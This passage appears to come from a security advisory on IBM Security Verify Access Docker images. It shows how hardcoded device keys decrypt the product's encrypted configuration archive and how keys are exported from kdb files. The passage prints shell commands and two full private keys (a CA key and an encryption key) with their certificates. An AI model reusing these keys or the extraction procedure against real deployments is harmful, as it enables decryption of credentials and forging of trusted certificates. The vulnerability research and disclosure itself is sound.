dc47d4cfd4fb21ebaad215b2bca4f7d5c5f32e7c3b6678dc69a570ad534628ce  _verify-access-wrp.tar/b96855ec6855fe34f69782b210ae257d2203ad22d4d79f3bfd4818fa57bcc39a/var/.ca/device_key.sth
f06cd909fd9b4222b4ac228ae71702428505d162255d83cc51e93be5edd8d935  _verify-access-dsc.tar/2367f4ea9084713497b97a1fdbd68e6b3845d86537a89f1d6217eb545e8a0865/var/.ca/device_key.kdb
f06cd909fd9b4222b4ac228ae71702428505d162255d83cc51e93be5edd8d935  _verify-access-runtime.tar/2bf2e32495580fbf5de2abb686d8727c10372a2f7a717ad2608f18362c6c7960/var/.ca/device_key.kdb
f06cd909fd9b4222b4ac228ae71702428505d162255d83cc51e93be5edd8d935  _verify-access.tar/698cf9c0c7bb644159c92ba42d86417dd09694093db2eaf8875885e5ddd62fcc/var/.ca/mesa_ca.kdb
f06cd909fd9b4222b4ac228ae71702428505d162255d83cc51e93be5edd8d935  _verify-access-wrp.tar/b96855ec6855fe34f69782b210ae257d2203ad22d4d79f3bfd4818fa57bcc39a/var/.ca/device_key.kdb
</code></pre>
<p>Using these keys and the <code>IBM Crypto for C</code> programs, we can successfully decrypt the <code>openldap.zip</code> file - an encrypted zip file - available inside the <code>default.snapshot</code> file - this file contains the entire configuration of ISVA and is stored inside Docker instances or retrieved over the network. The <code>openldap.zip</code> file contains all the configuration options of the instance and is consequently extremely sensitive (to decrypt it using <code>isva_decrypt</code>, it is required to create a <code>/var/.ca</code> directory containing <code>device_key.kdb</code> and <code>device_key.sth</code> in a test machine):</p>
<pre><code>kali-decryption% LD_LIBRARY_PATH=/home/user/gsk8_64/lib64 strace ./isva_decrypt openldap.zip
[...]
writev(5, [{iov_base="", iov_len=0}, {iov_base="2s\0\0etc/openldap/schema/nis.ldif"..., iov_len=1024}], 2) = 1024
writev(5, [{iov_base="", iov_len=0}, {iov_base="\321\0\0etc/openldap/schema/collectiv"..., iov_len=1024}], 2) = 1024
writev(5, [{iov_base="", iov_len=0}, {iov_base="\0etc/openldap/slapd-replica.conf"..., iov_len=1024}], 2) = 1024
writev(5, [{iov_base="", iov_len=0}, {iov_base="data/secAuthority-default/__db.0"..., iov_len=1024}], 2) = 1024
read(4, "\271=b\223\205\320\277\365\207\302#T\255\355\374Ct\222\332M`3%\341\361I\301\233j\34\1\355"..., 8191) = 1124
writev(5, [{iov_base="", iov_len=0}, {iov_base="PK\1\2\36\3\24\0\0\0\10\0\4Z-UQ\202\212&lt;V\2\0\0\0 \0\0000\0\30\0"..., iov_len=1024}], 2) = 1024
writev(5, [{iov_base="", iov_len=0}, {iov_base="+\0\30\0\0\0\0\0\0\0\0\0\200\201\256\213\7\0var/openldap/d"..., iov_len=1024}], 2) = 1024
read(4, "", 8191)                       = 0
close(4)                                = 0
write(5, "\5\0\3\250\302\36cux\v\0\1\4\0\0\0\0\4\0\0\0\0PK\5\6\0\0\0\0[\0"..., 44) = 44
close(5)                                = 0
unlink("openldap.zip")                  = 0
rename("/tmp/tmp.pxiQjh", "openldap.zip") = 0
unlink("/tmp/tmp.pxiQjh")               = -1 ENOENT (No such file or directory)
close(3)                                = 0
exit_group(0)                           = ?
+++ exited with 0 +++
kali-decryption% file openldap.zip 
openldap.zip: Zip archive data, at least v1.0 to extract, compression method=store
</code></pre>
<p>While doing an analysis of the zip file, we can find:</p>
<ul>
<li>credentials;</li>
<li>passwords (e.g. in <code>etc/openldap/dynamic/replica-1.conf</code> and <code>etc/openldap/dynamic/passwd.conf</code>)</li>
<li>RSA keys + certificates (e.g. in <code>etc/openldap/dynamic/server.key</code>)</li>
<li>users in the logs.</li>
</ul>
<p>The unique kdb files (encrypted archives containing public and private keys) found in the IBM Docker images have also been decrypted (using the corresponding stash files) and analyzed:</p>
<pre><code>kali-docker# j=0; for file in ./_verify-access.tar/5b72d1a82f5781ef06f5e70155709ab81a57f364644acfa66c0de53e025d4d6b/etc/lum/iss-external.kdb ./_verify-access.tar/698cf9c0c7bb644159c92ba42d86417dd09694093db2eaf8875885e5ddd62fcc/etc/iss-external.kdb ./_verify-access-dsc.tar/2367f4ea9084713497b97a1fdbd68e6b3845d86537a89f1d6217eb545e8a0865/opt/ibm/ldap/V6.4/etc/ldapkey.kdb ./_verify-access.tar/698cf9c0c7bb644159c92ba42d86417dd09694093db2eaf8875885e5ddd62fcc/opt/trial/trial_ca.kdb ./_verify-access.tar/698cf9c0c7bb644159c92ba42d86417dd09694093db2eaf8875885e5ddd62fcc/opt/isva.signing/isva_signing_public.kdb ./_verify-access-dsc.tar/2367f4ea9084713497b97a1fdbd68e6b3845d86537a89f1d6217eb545e8a0865/var/.ca/device_key.kdb; do echo $file; LD_LIBRARY_PATH=/home/user/ibmcom/_verify-access-dsc.tar/2367f4ea9084713497b97a1fdbd68e6b3845d86537a89f1d6217eb545e8a0865/usr/local/ibm/gsk8_64/lib64/ /home/user/ibmcom/_verify-access-dsc.tar/2367f4ea9084713497b97a1fdbd68e6b3845d86537a89f1d6217eb545e8a0865/usr/local/ibm/gsk8_64/bin/gsk8capicmd_64 -cert -export -db $file -stashed -target /tmp/tmp.p12 -target_pw password ; openssl pkcs12 -in /tmp/tmp.p12 -out /tmp/export_${j}.pem -nodes -passin pass:password;j=$(($j+1));rm /tmp/tmp.p12;done
./_verify-access.tar/5b72d1a82f5781ef06f5e70155709ab81a57f364644acfa66c0de53e025d4d6b/etc/lum/iss-external.kdb
./_verify-access.tar/698cf9c0c7bb644159c92ba42d86417dd09694093db2eaf8875885e5ddd62fcc/etc/iss-external.kdb
./_verify-access-dsc.tar/2367f4ea9084713497b97a1fdbd68e6b3845d86537a89f1d6217eb545e8a0865/opt/ibm/ldap/V6.4/etc/ldapkey.kdb
./_verify-access.tar/698cf9c0c7bb644159c92ba42d86417dd09694093db2eaf8875885e5ddd62fcc/opt/trial/trial_ca.kdb
./_verify-access.tar/698cf9c0c7bb644159c92ba42d86417dd09694093db2eaf8875885e5ddd62fcc/opt/isva.signing/isva_signing_public.kdb
./_verify-access-dsc.tar/2367f4ea9084713497b97a1fdbd68e6b3845d86537a89f1d6217eb545e8a0865/var/.ca/device_key.kdb
</code></pre>
<p>This allows an attacker to extract several private keys:</p>
<pre><code>Bag Attributes
    friendlyName: ca
    localKeyID: 03 82 01 01 00 6F 9B 85 F2 CA 2A DC A3 2E BA F7 D9 36 40 D4 D4 4D 31 A4 AC 23 2E 6E F0 9F 04 90 D7 F5 EC D1 31 7C 39 DB 80 20 7D A2 6C F5 30 F1 B6 C0 8C 1D 9F 32 87 A0 84 FE 22 AC 8F 0E D8 36 03 6D 69 29 E2 57 0C B3 9B 05 C4 E0 1E 81 51 EB 33 49 C3 D3 E1 F2 4E C0 CA 0C 5A A8 F9 5D 54 1F CF BE C0 9A 70 C4 6F 94 65 70 14 9F 1B 74 29 6E EB 00 1F 55 9B FE A1 00 CC FB DC CD 20 35 64 DF D6 A5 A7 F4 FB 76 DB D5 AA 6D 67 08 B1 F8 0B 71 37 AF A2 90 C3 AA 57 38 5B 48 E7 AE 35 6C 0C 8A E3 99 7D 90 94 B0 F8 1E 13 17 F9 A9 2F 5F 87 35 8B F5 6D AC 64 89 28 B0 96 0B 6C FB B4 8E D9 F0 26 AD 61 35 F4 CB A4 59 F8 F6 A0 72 EB 82 CD CF 2D 85 63 CF C3 27 64 9F 52 07 05 D7 19 81 5A 57 4A 92 F5 3F 30 2D 87 BD FB 96 92 2B A0 93 E6 B8 E8 E5 90 27 70 A8 78 6F 1C 98 11 6E F9 70 60 0F 2C D8 4C 44 BF 
Key Attributes: &lt;No Attributes&gt;
-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQC5d1UkBCpTmK74
01RqSKl42SInA0B8zgbLgZG+HPoniIgwzbu4lRJSFGaGjnuJH1ccWPvxuDtv5R26
X4EhnL9RewJiHDTq1RRnP/XqQja3uHwsKC4yUlyvhBcX+FcoTKzq4y724ZZs2GIM
+Q4d4OsXAomQz3TeEWT9tyr7gCgDJ8W3WvpEUE6mpvm0OPujFivAM9Ws6bY7zcZr
qjU4Nct//gq9qlZuKMWan68vE+yMqJAkCCLh6YG8EA+TU/TQP4cCeCIiUBBC6A1R
CMbCA9t7AgWTlJPxuPTdgTETLRXDlMJWhWxuTGWtkXrrSXaWIwBTk4XVfeK2xkYs
RPNFmBZ1AgMBAAECggEAIt1sA/lEe7KYMe6IT/KY6T7oTK0v0kZowJj67OJFpGjm
MUZ7o5diekubenAOiRh7J7kSo74ebkqD7CVIASmWTZryN79Vs0+bJk2/zOnln2Pu
894Z0RvqkJQkQz1MJSdE2mMa0Q5XWN7Uj9vB65v8lbbEZZSaQ6TBd3CXg+/zlaPy
MvRgK5XvrzCKWD9PtWpIb4nRssJhVDAgfPQf5tlQ05QhKagakxENVB6wmcvOiU2l
zYZDTUGFVfgd1OxH7JICaTfBlhncd2OYaHxr+sXrPGuI+Ckz/U5q6UU+/b5EYEPr
7BSlmptg6CCFLlJ/Mz3qzcm2Wd9/KWEEbwr7fRLcAQKBgQDIoEC54Fsdj07SHwaM
iWC72WysdBedH5DUM39cRiorYz/E5rFIKWz8c4Fz4sx0IkTqM2JvS1frtvPgMTTV
PvowBcLrLIIBj3ZktheAijCtB7g0FR8EBJpJvY3nPYYA08akeJ2wIrV/AdXiMGR+
dJXnJRmoVI6tdk/Y9xRfUuahqQKBgQDsp+v5PkMWYyRsja6cjN4K9bExRbPCMyXo
o3VisQXQYnVdKJE86g+PMiwY4KJksZ3ZPYduB4Hn+9qcKWRXkg/VbInE9+TxwBOT
E4cf1bUibtNZEF4JeV7/FE+K76RgxROufXpRlrTqlmzblIBIeA14sGCC/3unb6tV
mfCGe18l7QKBgQCs0g6vj2otrnMRYZR8nyJq7sJEU8S7nqNdh/bf/7j3owkdjjOM
m9K8LKuIrge8yoBe1mCmylo0PGcb6oc+Yn+VuoDLoI1k1rX/zzOzkFaZ1pqAkuki
xuw5NUX1ufOi5sqohxYe0edSPryFmXYX0EoI0NanQB+foNjrZvtvmbP98QKBgAHG
0PKyEPbeD6vw9FqghBo49feUumC+2Y4BjCQNiCmkU5U7dLusVimRCtu09AMlgjXb
TGT7EXKYZW++r84ofo3vnqkn40QdWQhFoUIP7KgxhMyqXspbaucnU+GLIwTG9frd
Xkm2g+0u6+pKFxx0KkW5rT/OgzMil3qxCSk5S+GRAoGAVzyS/rD6YInD7/vWUqwm
ttgKBm1d/uL2fMzx0KCnuKd5gJwfLIx9wDR4862VyWxOof8quqAWAthSGgg99Bjj
dujkG+fMEu+pYaxTmte0HSC4I+QTkQrOup4wtwVFz2t+0yPlmneQXmJ+K5Wu9ClR
uxhPVbNJYbPOs02by37UXn8=
-----END PRIVATE KEY-----
Bag Attributes
    friendlyName: encKey
    localKeyID: 03 82 01 01 00 BB 0F 22 30 06 39 08 3E 65 E7 67 A2 F7 A0 1A 96 6F A6 75 57 3E AF B0 64 7D 83 07 47 6C A3 CE 91 7D 11 94 B5 E9 F7 79 74 F0 22 AB 50 C7 49 66 5E 64 0C 63 07 B7 43 F2 35 52 E4 2C CC C0 1F B4 ED 2F 18 CB D3 A0 3C 3F 6D 07 88 AD B6 FE 52 2B EA 10 0C 9C 0A F4 04 21 20 95 E9 A7 39 E9 6F F1 83 11 5E B7 C5 D5 41 F8 D0 4B BC A2 D5 C6 1B E0 77 F4 91 F2 1B 23 25 17 42 29 19 3E CE 4E 39 12 E5 29 30 69 6A FE 47 BA E6 D8 D5 5E 3C 23 C6 B5 40 49 E5 64 7E 69 CC 43 E0 15 AE F5 DC D9 8C 27 6F 2E 09 25 85 C3 F8 95 44 12 42 6F C5 D1 E0 41 B2 F0 00 90 2C EA 36 05 1D DF F3 A3 B6 4F 42 E6 6D F2 33 BD 9F AE 3F 18 4E 79 08 35 BC 28 15 AC 23 0E B5 28 23 C2 08 3D 6A 39 5D 37 FA 60 13 EF 19 C3 7A 9C DB F0 19 0C AC 0D D0 51 B1 1B AE 22 A4 B7 92 3B FF 61 A3 0F 1C 6E 52 97 FE 2D 65 CB 13 
Key Attributes: &lt;No Attributes&gt;
-----BEGIN PRIVATE KEY-----
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQDsJ4YkXiuJVyuD
N2Ibykd86ieUfIqlRJ4t0Z40CXkfcUoSYfGfEUl0vGa/hRV6dBgr0cvsP1Uuh8lM
x1k7AF2LZB/3Hf42MiN4b1BShCkU//UDjw3IJDblpDxAs6+wNHLjZ3Tmu4j8WPH6
szaEMmLKdAOVX3j4pElcoTwsozR+F+1XBcp9G+nhIymvTaskWy8Qi2EHl+M2qbrw
G9Iissr1wX3KnI5hxvHAtEflwFu1qIcQFdEo/nG6+45TzhuIUTep1jcqDKTFsuzM
DrlEPELGqHVhkYrUaCYUtiEOjZXcE6Hufy10nEjo3nARyKlIom3A9Gi8qscq9Xh3
R5JZZbEtAgMBAAECggEABB9RCrysBAAZuFSREk47s+NE5JGSN3klHESHzinuZphv
9piID0BX0/Ar6uo4aO+GXrj9fqHZi2ikR/12yW0NpjYhcMsr1geMTNkJXPex+wwJ
eQWaoEXeBk3bbGbfMzqrxUh/QgyJqpu48wZ7ROSIqF5DMYVPElkkSAHWmdvgUnQi
T5m+F+eq5dGYx82V/COXKzOKUd714o7uL6bPqnFbZlQLGbDnUruFLLNsktrVhMCH
f2n7vj2irRyehFB9iJWoQYzZRYnt7ZZwaiC5tM1FH08Ba9KWhKioV0euO8t2ojkt
VW3EKTx5qrxnKvchlgDzb9neb/p9PtFUy/AuB/3n6QKBgQDzv99rQUVVLsaTFK8A
UWzXfEB+su0vxK5Q8hpgF9EdOGLZQtTpl8/xIj5Np7OqVclQA7usx6t9mcJwjkdH
blUubDs8MOcvbxfjOos3LdZ4egOfiac7N4nMkjh1XUvUt0bvkNO+GtgDgsS16EiE
X9fsafsbkQYqsNd1qag4u5M9xQKBgQD4Be5dLZ0A62qQlaQA5Vl8bp8woL843qKC
PYGIEf5/sQX3oYRhM2En6RI4nMt6htPn7WB0T7vCCi+XEACnruAUJFEyZARpeGHG
5jx3p4p3l/QUxCgdzXceEJTjabesOOZSuPazjaj1RWoAU7fRTwnG+0msq15zlkqG
UjVnqsoESQKBgBheXl/CrsPNYVzi/HvzqAYDDg+co8nax/KfwbNJrkZVlMxTuiWA
X/GjkscAtR2aZf3x4ZlsfOCZtq66CrZBeZKij2l9Gh/L4398It7pXj+9Mw+IG4f4
DXa+R5a0NRiXGihpOkIPPPlc4X2uM1HIozWngstGvG8YLvI8e+zwE9BhAoGAf649
+YXjz3dh0rDWTwfCu4YPOW9nQZWLP1T+e9gXlhDBq6tghNF4cJ1RngdJ0Pfb2wee
ogHx/IBV44R/cdNa08OmcTR/+PPaEhSwiECdzddR9ebNaBo/+iA7JZ9kyKo6F9fU
WLbShgGIAkcW2A/CTsdKNDO8WfDCyMdFaurHONECgYA0e/5TN/+AGLktUd7VIlOC
5FCHkAGl4iHJn/3v5r8yfh55Otf+K9vIUrEGW9XEouIofLMapbKqxiTD7YCbrbsy
NyoRMUtmBWnh7yrWkl/gvLIRsAw1R248Q1uxLb0JytRyf/8vW0YOK1grDxnijULH
arClGP/McDNH4FD3S9dgJQ==
-----END PRIVATE KEY-----
</code></pre>
<p>And the corresponding certificates:</p>
<pre><code>Bag Attributes
    friendlyName: ca
    localKeyID: 03 82 01 01 00 6F 9B 85 F2 CA 2A DC A3 2E BA F7 D9 36 40 D4 D4 4D 31 A4 AC 23 2E 6E F0 9F 04 90 D7 F5 EC D1 31 7C 39 DB 80 20 7D A2 6C F5 30 F1 B6 C0 8C 1D 9F 32 87 A0 84 FE 22 AC 8F 0E D8 36 03 6D 69 29 E2 57 0C B3 9B 05 C4 E0 1E 81 51 EB 33 49 C3 D3 E1 F2 4E C0 CA 0C 5A A8 F9 5D 54 1F CF BE C0 9A 70 C4 6F 94 65 70 14 9F 1B 74 29 6E EB 00 1F 55 9B FE A1 00 CC FB DC CD 20 35 64 DF D6 A5 A7 F4 FB 76 DB D5 AA 6D 67 08 B1 F8 0B 71 37 AF A2 90 C3 AA 57 38 5B 48 E7 AE 35 6C 0C 8A E3 99 7D 90 94 B0 F8 1E 13 17 F9 A9 2F 5F 87 35 8B F5 6D AC 64 89 28 B0 96 0B 6C FB B4 8E D9 F0 26 AD 61 35 F4 CB A4 59 F8 F6 A0 72 EB 82 CD CF 2D 85 63 CF C3 27 64 9F 52 07 05 D7 19 81 5A 57 4A 92 F5 3F 30 2D 87 BD FB 96 92 2B A0 93 E6 B8 E8 E5 90 27 70 A8 78 6F 1C 98 11 6E F9 70 60 0F 2C D8 4C 44 BF 
subject=C = us, O = ibm, OU = isam, CN = ca
issuer=C = us, O = ibm, OU = isam, CN = ca
-----BEGIN CERTIFICATE-----
MIIDNDCCAhygAwIBAgIINKDsXZO6zrowDQYJKoZIhvcNAQELBQAwNzELMAkGA1UE
BhMCdXMxDDAKBgNVBAoTA2libTENMAsGA1UECxMEaXNhbTELMAkGA1UEAxMCY2Ew
IBcNMTkwMzIxMDQ1NzAzWhgPMjEwMTA1MTEwNDU3MDNaMDcxCzAJBgNVBAYTAnVz
MQwwCgYDVQQKEwNpYm0xDTALBgNVBAsTBGlzYW0xCzAJBgNVBAMTAmNhMIIBIjAN
BgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAuXdVJAQqU5iu+NNUakipeNkiJwNA
fM4Gy4GRvhz6J4iIMM27uJUSUhRmho57iR9XHFj78bg7b+Udul+BIZy/UXsCYhw0
6tUUZz/16kI2t7h8LCguMlJcr4QXF/hXKEys6uMu9uGWbNhiDPkOHeDrFwKJkM90
3hFk/bcq+4AoAyfFt1r6RFBOpqb5tDj7oxYrwDPVrOm2O83Ga6o1ODXLf/4KvapW
bijFmp+vLxPsjKiQJAgi4emBvBAPk1P00D+HAngiIlAQQugNUQjGwgPbewIFk5ST
8bj03YExEy0Vw5TCVoVsbkxlrZF660l2liMAU5OF1X3itsZGLETzRZgWdQIDAQAB
o0IwQDAfBgNVHSMEGDAWgBRXaoj3HRsUC6I+wha3FcN9ng+jDDAdBgNVHQ4EFgQU
V2qI9x0bFAuiPsIWtxXDfZ4PowwwDQYJKoZIhvcNAQELBQADggEBAG+bhfLKKtyj
Lrr32TZA1NRNMaSsIy5u8J8EkNf17NExfDnbgCB9omz1MPG2wIwdnzKHoIT+IqyP
Dtg2A21pKeJXDLObBcTgHoFR6zNJw9Ph8k7AygxaqPldVB/PvsCacMRvlGVwFJ8b
dClu6wAfVZv+oQDM+9zNIDVk39alp/T7dtvVqm1nCLH4C3E3r6KQw6pXOFtI5641
bAyK45l9kJSw+B4TF/mpL1+HNYv1baxkiSiwlgts+7SO2fAmrWE19MukWfj2oHLr
gs3PLYVjz8MnZJ9SBwXXGYFaV0qS9T8wLYe9+5aSK6CT5rjo5ZAncKh4bxyYEW75
cGAPLNhMRL8=
-----END CERTIFICATE-----
Bag Attributes
    friendlyName: encKey
    localKeyID: 03 82 01 01 00 BB 0F 22 30 06 39 08 3E 65 E7 67 A2 F7 A0 1A 96 6F A6 75 57 3E AF B0 64 7D 83 07 47 6C A3 CE 91 7D 11 94 B5 E9 F7 79 74 F0 22 AB 50 C7 49 66 5E 64 0C 63 07 B7 43 F2 35 52 E4 2C CC C0 1F B4 ED 2F 18 CB D3 A0 3C 3F 6D 07 88 AD B6 FE 52 2B EA 10 0C 9C 0A F4 04 21 20 95 E9 A7 39 E9 6F F1 83 11 5E B7 C5 D5 41 F8 D0 4B BC A2 D5 C6 1B E0 77 F4 91 F2 1B 23 25 17 42 29 19 3E CE 4E 39 12 E5 29 30 69 6A FE 47 BA E6 D8 D5 5E 3C 23 C6 B5 40 49 E5 64 7E 69 CC 43 E0 15 AE F5 DC D9 8C 27 6F 2E 09 25 85 C3 F8 95 44 12 42 6F C5 D1 E0 41 B2 F0 00 90 2C EA 36 05 1D DF F3 A3 B6 4F 42 E6 6D F2 33 BD 9F AE 3F 18 4E 79 08 35 BC 28 15 AC 23 0E B5 28 23 C2 08 3D 6A 39 5D 37 FA 60 13 EF 19 C3 7A 9C DB F0 19 0C AC 0D D0 51 B1 1B AE 22 A4 B7 92 3B FF 61 A3 0F 1C 6E 52 97 FE 2D 65 CB 13 
subject=C = US, O = IBM, OU = GSKIT, CN = encKey
issuer=C = US, O = IBM, OU = GSKIT, CN = encKey
-----BEGIN CERTIFICATE-----
MIIEJjCCAw6gAwIBAgIIEuizp4Aw/w8wDQYJKoZIhvcNAQEFBQAwPDELMAkGA1UE
BhMCVVMxDDAKBgNVBAoTA0lCTTEOMAwGA1UECxMFR1NLSVQxDzANBgNVBAMTBmVu
Y0tleTAeFw0xOTAzMjEwNDU2NTlaFw0yOTAzMTkwNDU2NTlaMDwxCzAJBgNVBAYT
AlVTMQwwCgYDVQQKEwNJQk0xDjAMBgNVBAsTBUdTS0lUMQ8wDQYDVQQDEwZlbmNL
ZXkwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDsJ4YkXiuJVyuDN2Ib
ykd86ieUfIqlRJ4t0Z40CXkfcUoSYfGfEUl0vGa/hRV6dBgr0cvsP1Uuh8lMx1k7
AF2LZB/3Hf42MiN4b1BShCkU//UDjw3IJDblpDxAs6+wNHLjZ3Tmu4j8WPH6szaE
MmLKdAOVX3j4pElcoTwsozR+F+1XBcp9G+nhIymvTaskWy8Qi2EHl+M2qbrwG9Ii
ssr1wX3KnI5hxvHAtEflwFu1qIcQFdEo/nG6+45TzhuIUTep1jcqDKTFsuzMDrlE
PELGqHVhkYrUaCYUtiEOjZXcE6Hufy10nEjo3nARyKlIom3A9Gi8qscq9Xh3R5JZ
ZbEtAgMBAAGjggEqMIIBJjCCASIGHCsGAQSD3OuTf4Pc65N/g9zrk3+r7CeDsWQC
pwkEggEARE7WVCtMEiBaqLgkERWOycU2QormaqloW2kdYi0iZT7NV/3tw0DNbcGK
pWdWfqtM4BM2x7Zq1ilGkK3NtGDnvRTBvrCFt0j/fU80/B9yBoELS0OWqKDkLiZi
enYORA427Y4JNYiRWngQCBPboqqp1oOB03dxujVH85W/3AniYol4fZBiUdYMfhWi
0sKxy5El/XDpYsA8w6ZQ0jz3/uQkNzY96A6QdO/4wB9P4YpKrl3XTKYGMtwoSW4b
QbXu2DOWvPZHxkXLizkeEk9/j+DC27nA7/ZIBNRV4pqOg2lo+7Po9XwwNyE2+1o2
4/2lwxPxDvGFYP05F78XHPEal8LgPTANBgkqhkiG9w0BAQUFAAOCAQEAuw8iMAY5
CD5l52ei96Aalm+mdVc+r7BkfYMHR2yjzpF9EZS16fd5dPAiq1DHSWZeZAxjB7dD
8jVS5CzMwB+07S8Yy9OgPD9tB4ittv5SK+oQDJwK9AQhIJXppznpb/GDEV63xdVB
+NBLvKLVxhvgd/SR8hsjJRdCKRk+zk45EuUpMGlq/ke65tjVXjwjxrVASeVkfmnM
Q+AVrvXc2Ywnby4JJYXD+JVEEkJvxdHgQbLwAJAs6jYFHd/zo7ZPQuZt8jO9n64/
GE55CDW8KBWsIw61KCPCCD1qOV03+mAT7xnDepzb8BkMrA3QUbEbriKkt5I7/2Gj
DxxuUpf+LWXLEw==
-----END CERTIFICATE-----
</code></pre>
<p>After the analysis of the certificates and the private keys, we were able to extract a CA private key and a private encryption/decryption key:</p>
<pre><code>kali-docker# openssl x509 -in ca.pem -text -noout -modulus
Certificate:
    Data:
        Version: 3 (0x2)
        Serial Number: 3792290772900564666 (0x34a0ec5d93baceba)
        Signature Algorithm: sha256WithRSAEncryption
        Issuer: C=us, O=ibm, OU=isam, CN=ca
        Validity
            Not Before: Mar 21 04:57:03 2019 GMT
            Not After : May 11 04:57:03 2101 GMT
        Subject: C=us, O=ibm, OU=isam, CN=ca
        Subject Public Key Info:
            Public Key Algorithm: rsaEncryption
                Public-Key: (2048 bit)
                Modulus:
                    00:b9:77:55:24:04:2a:53:98:ae:f8:d3:54:6a:48:
                    a9:78:d9:22:27:03:40:7c:ce:06:cb:81:91:be:1c:
                    fa:27:88:88:30:cd:bb:b8:95:12:52:14:66:86:8e:
                    7b:89:1f:57:1c:58:fb:f1:b8:3b:6f:e5:1d:ba:5f:
                    81:21:9c:bf:51:7b:02:62:1c:34:ea:d5:14:67:3f:
                    f5:ea:42:36:b7:b8:7c:2c:28:2e:32:52:5c:af:84:
                    17:17:f8:57:28:4c:ac:ea:e3:2e:f6:e1:96:6c:d8:
                    62:0c:f9:0e:1d:e0:eb:17:02:89:90:cf:74:de:11:
                    64:fd:b7:2a:fb:80:28:03:27:c5:b7:5a:fa:44:50:
                    4e:a6:a6:f9:b4:38:fb:a3:16:2b:c0:33:d5:ac:e9:
                    b6:3b:cd:c6:6b:aa:35:38:35:cb:7f:fe:0a:bd:aa:
                    56:6e:28:c5:9a:9f:af:2f:13:ec:8c:a8:90:24:08:
                    22:e1:e9:81:bc:10:0f:93:53:f4:d0:3f:87:02:78:
                    22:22:50:10:42:e8:0d:51:08:c6:c2:03:db:7b:02:
                    05:93:94:93:f1:b8:f4:dd:81:31:13:2d:15:c3:94:
                    c2:56:85:6c:6e:4c:65:ad:91:7a:eb:49:76:96:23:
                    00:53:93:85:d5:7d:e2:b6:c6:46:2c:44:f3:45:98:
                    16:75
                Exponent: 65537 (0x10001)
        X509v3 extensions:
            X509v3 Authority Key Identifier: 
                57:6A:88:F7:1D:1B:14:0B:A2:3E:C2:16:B7:15:C3:7D:9E:0F:A3:0C
            X509v3 Subject Key Identifier: 
                57:6A:88:F7:1D:1B:14:0B:A2:3E:C2:16:B7:15:C3:7D:9E:0F:A3:0C
    Signature Algorithm: sha256WithRSAEncryption
    Signature Value:
        6f:9b:85:f2:ca:2a:dc:a3:2e:ba:f7:d9:36:40:d4:d4:4d:31:
        a4:ac:23:2e:6e:f0:9f:04:90:d7:f5:ec:d1:31:7c:39:db:80:
        20:7d:a2:6c:f5:30:f1:b6:c0:8c:1d:9f:32:87:a0:84:fe:22:
        ac:8f:0e:d8:36:03:6d:69:29:e2:57:0c:b3:9b:05:c4:e0:1e:
        81:51:eb:33:49:c3:d3:e1:f2:4e:c0:ca:0c:5a:a8:f9:5d:54:
        1f:cf:be:c0:9a:70:c4:6f:94:65:70:14:9f:1b:74:29:6e:eb:
        00:1f:55:9b:fe:a1:00:cc:fb:dc:cd:20:35:64:df:d6:a5:a7:
        f4:fb:76:db:d5:aa:6d:67:08:b1:f8:0b:71:37:af:a2:90:c3:
        aa:57:38:5b:48:e7:ae:35:6c:0c:8a:e3:99:7d:90:94:b0:f8:
        1e:13:17:f9:a9:2f:5f:87:35:8b:f5:6d:ac:64:89:28:b0:96:
        0b:6c:fb:b4:8e:d9:f0:26:ad:61:35:f4:cb:a4:59:f8:f6:a0:
        72:eb:82:cd:cf:2d:85:63:cf:c3:27:64:9f:52:07:05:d7:19:
        81:5a:57:4a:92:f5:3f:30:2d:87:bd:fb:96:92:2b:a0:93:e6:
        b8:e8:e5:90:27:70:a8:78:6f:1c:98:11:6e:f9:70:60:0f:2c:
        d8:4c:44:bf
Modulus=B9775524042A5398AEF8D3546A48A978D9222703407CCE06CB8191BE1CFA27888830CDBBB89512521466868E7B891F571C58FBF1B83B6FE51DBA5F81219CBF517B02621C34EAD514673FF5EA4236B7B87C2C282E32525CAF841717F857284CACEAE32EF6E1966CD8620CF90E1DE0EB17028990CF74DE1164FDB72AFB80280327C5B75AFA44504EA6A6F9B438FBA3162BC033D5ACE9B63BCDC66BAA353835CB7FFE0ABDAA566E28C59A9FAF2F13EC8CA890240822E1E981BC100F9353F4D03F8702782222501042E80D5108C6C203DB7B0205939493F1B8F4DD8131132D15C394C256856C6E4C65AD917AEB4976962300539385D57DE2B6C6462C44F345981675
kali-docker# openssl rsa -in ca.key -modulus -noout       
Modulus=B9775524042A5398AEF8D3546A48A978D9222703407CCE06CB8191BE1CFA27888830CDBBB89512521466868E7B891F571C58FBF1B83B6FE51DBA5F81219CBF517B02621C34EAD514673FF5EA4236B7B87C2C282E32525CAF841717F857284CACEAE32EF6E1966CD8620CF90E1DE0EB17028990CF74DE1164FDB72AFB80280327C5B75AFA44504EA6A6F9B438FBA3162BC033D5ACE9B63BCDC66BAA353835CB7FFE0ABDAA566E28C59A9FAF2F13EC8CA890240822E1E981BC100F9353F4D03F8702782222501042E80D5108C6C203DB7B0205939493F1B8F4DD8131132D15C394C256856C6E4C65AD917AEB4976962300539385D57DE2B6C6462C44F345981675

kali-docker# openssl x509 -in encKey.pem -text -noout -modulus
Certificate:
    Data:
        Version: 3 (0x2)
        Serial Number: 1362536419271180047 (0x12e8b3a78030ff0f)
        Signature Algorithm: sha1WithRSAEncryption
        Issuer: C=US, O=IBM, OU=GSKIT, CN=encKey
        Validity
            Not Before: Mar 21 04:56:59 2019 GMT
            Not After : Mar 19 04:56:59 2029 GMT
        Subject: C=US, O=IBM, OU=GSKIT, CN=encKey
        Subject Public Key Info:
            Public Key Algorithm: rsaEncryption
                Public-Key: (2048 bit)
                Modulus:
                    00:ec:27:86:24:5e:2b:89:57:2b:83:37:62:1b:ca:
                    47:7c:ea:27:94:7c:8a:a5:44:9e:2d:d1:9e:34:09:
                    79:1f:71:4a:12:61:f1:9f:11:49:74:bc:66:bf:85:
                    15:7a:74:18:2b:d1:cb:ec:3f:55:2e:87:c9:4c:c7:
                    59:3b:00:5d:8b:64:1f:f7:1d:fe:36:32:23:78:6f:
                    50:52:84:29:14:ff:f5:03:8f:0d:c8:24:36:e5:a4:
                    3c:40:b3:af:b0:34:72:e3:67:74:e6:bb:88:fc:58:
                    f1:fa:b3:36:84:32:62:ca:74:03:95:5f:78:f8:a4:
